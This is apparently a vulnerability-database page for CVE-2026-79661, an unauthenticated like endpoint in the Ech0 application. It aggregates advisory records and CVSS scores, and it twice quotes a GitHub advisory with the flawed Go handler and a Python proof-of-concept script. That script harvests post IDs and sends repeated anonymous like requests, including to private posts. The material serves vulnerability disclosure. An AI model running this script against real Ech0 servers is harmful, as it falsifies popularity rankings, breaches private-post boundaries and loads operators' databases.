CVE-2026-79661
Ech0 before 4.7.3 Unauthenticated fav_count Modification
Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
6.9
Ech0 before 4.7.3 Unauthenticated fav_count Modification
Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.
- Record
CVE-2026-79661- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2026-65453
6.9
Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.
- Record
EUVD-2026-65453- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7xcp-744q-324g
6.9
Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group...
Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.
- Record
GHSA-7xcp-744q-324g- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-770
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pj6q-4vq4-r8cg
6.5
Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count
Summary
PUT /api/echo/like/:id at internal/router/echo.go:12 is registered on PublicRouterGroup with no authentication and no rate limit. Anonymous callers increment the fav_count counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public GET /api/echo/page response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.
Details
Route registration at internal/router/echo.go:12:
appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
PublicRouterGroup is r.Group("/api") without the JWT middleware that AuthRouterGroup applies. The handler passes through to EchoService.LikeEcho, which calls EchoRepository.LikeEcho at internal/repository/echo/echo.go:270:
func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {
var exists bool
if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil {
return err
}
if !exists {
return errors.New(commonModel.ECHO_NOT_FOUND)
}
if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
Where("id = ?", id).
UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil {
return err
}
return nil
}
No viewer check, no ownership check, no private-flag check. Compare the read path at EchoService.GetEchoById (internal/service/echo/echo.go:275-300) which rejects anonymous readers on private echoes; the like path skips that gate. InvalidateEchoCaches (internal/repository/echo/echo.go:51-58) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind checkRateLimit (internal/service/comment/comment.go:731-766, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.
Proof of Concept
Default install, anonymous caller on the network:
import requests
TARGET = "http://localhost:8300"
# 1) Discover an echo UUID from the public feed (no auth).
page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()
echo_id = page["data"]["items"][0]["id"]
# 2) Like it. Repeat without deduplication.
for i in range(3):
r = requests.put(f"{TARGET}/api/echo/like/{echo_id}")
print(f"public like #{i+1}: HTTP {r.status_code} {r.text}")
# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,
# but the UUID arrives via other channels (logs, referer, shared drafts).
private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b" # admin-created private echo
r = requests.put(f"{TARGET}/api/echo/like/{private_id}")
print(f"private like: HTTP {r.status_code} {r.text}")
Observed on v4.5.6 in the test container:
public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID 019daf77-4a97...) succeeded even though GetEchosById would refuse to read that echo for an anonymous caller.
Impact
Anonymous, rate-limit-free writes against any echo's fav_count. Direct impact:
- Popularity signal destruction. fav_count powers the
hotfeed; a single script skews the ranking at will. - Private-boundary bypass. Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history.
- Server and cache load. Every call triggers a SQLite
UPDATEtransaction…
- Record
GHSA-pj6q-4vq4-r8cg- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-770, CWE-862
- Updated
- 2026-11-02
NVD
6.9
Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.
- Record
CVE-2026-79661- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-770
- Updated
- 2026-11-02
OSV
6.9
Ech0 before 4.7.3 Unauthenticated fav_count Modification
Ech0 through 4.5.6 registers the PUT /api/echo/like/:id endpoint on the public router group without authentication or rate limiting. Unauthenticated attackers can increment the fav_count counter of any echo (including private echoes) by supplying its UUID, which can be harvested from the public GET /api/echo/page feed. Repeated requests are accepted without deduplication, each triggering a database write and a four-key cache invalidation, allowing attackers to inflate popularity metrics and amplify load on the database and cache. Fixed in 4.7.3.
- Record
CVE-2026-79661- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVGHSA-pj6q-4vq4-r8cg
6.5
Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count
Summary
PUT /api/echo/like/:id at internal/router/echo.go:12 is registered on PublicRouterGroup with no authentication and no rate limit. Anonymous callers increment the fav_count counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public GET /api/echo/page response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.
Details
Route registration at internal/router/echo.go:12:
appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
PublicRouterGroup is r.Group("/api") without the JWT middleware that AuthRouterGroup applies. The handler passes through to EchoService.LikeEcho, which calls EchoRepository.LikeEcho at internal/repository/echo/echo.go:270:
func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {
var exists bool
if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil {
return err
}
if !exists {
return errors.New(commonModel.ECHO_NOT_FOUND)
}
if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
Where("id = ?", id).
UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil {
return err
}
return nil
}
No viewer check, no ownership check, no private-flag check. Compare the read path at EchoService.GetEchoById (internal/service/echo/echo.go:275-300) which rejects anonymous readers on private echoes; the like path skips that gate. InvalidateEchoCaches (internal/repository/echo/echo.go:51-58) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind checkRateLimit (internal/service/comment/comment.go:731-766, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.
Proof of Concept
Default install, anonymous caller on the network:
import requests
TARGET = "http://localhost:8300"
# 1) Discover an echo UUID from the public feed (no auth).
page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()
echo_id = page["data"]["items"][0]["id"]
# 2) Like it. Repeat without deduplication.
for i in range(3):
r = requests.put(f"{TARGET}/api/echo/like/{echo_id}")
print(f"public like #{i+1}: HTTP {r.status_code} {r.text}")
# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,
# but the UUID arrives via other channels (logs, referer, shared drafts).
private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b" # admin-created private echo
r = requests.put(f"{TARGET}/api/echo/like/{private_id}")
print(f"private like: HTTP {r.status_code} {r.text}")
Observed on v4.5.6 in the test container:
public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID 019daf77-4a97...) succeeded even though GetEchosById would refuse to read that echo for an anonymous caller.
Impact
Anonymous, rate-limit-free writes against any echo's fav_count. Direct impact:
- Popularity signal destruction. fav_count powers the
hotfeed; a single script skews the ranking at will. - Private-boundary bypass. Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history.
- Server and cache load. Every call triggers a SQLite
UPDATEtransaction…
- Record
GHSA-pj6q-4vq4-r8cg- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-770, CWE-862
- Updated
- 2026-11-02
OSVGO-2026-5541 No score
Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count in github.com/lin-snow/ech0
Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count in github.com/lin-snow/ech0
- Record
GO-2026-5541- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/lin-snow/Ech0Go |
before 1.4.8-0.20260503035905-cecc2c19b590 | 1.4.8-0.20260503035905-cecc2c19b590 |
github.com/lin-snow/ech0Go |
before 1.4.8-0.20260503035905-cecc2c19b590 | 1.4.8-0.20260503035905-cecc2c19b590 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-79661 is a medium vulnerability (CVSS 6.9) in Lin-snow Ech0, published May 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in github.com/lin-snow/Ech0 1.4.8-0.20260503035905-cecc2c19b590.
References
github.com/lin-snow/Ech0/security/advisories/GHSA-pj6q-4vq4-r8cg
vulncheck.com/advisories/ech0-before-unauthenticated-fav-count-modification
nvd.nist.gov/vuln/detail/CVE-2026-79661
github.com/advisories/GHSA-7xcp-744q-324g
github.com/lin-snow/Ech0/commit/cecc2c19b590df85d79ea98457faa143130cd620
github.com/advisories/GHSA-pj6q-4vq4-r8cg
github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79661.json
github.com/lin-snow/Ech0
Left out here: the rest of 2 source descriptions. The JSON record has them.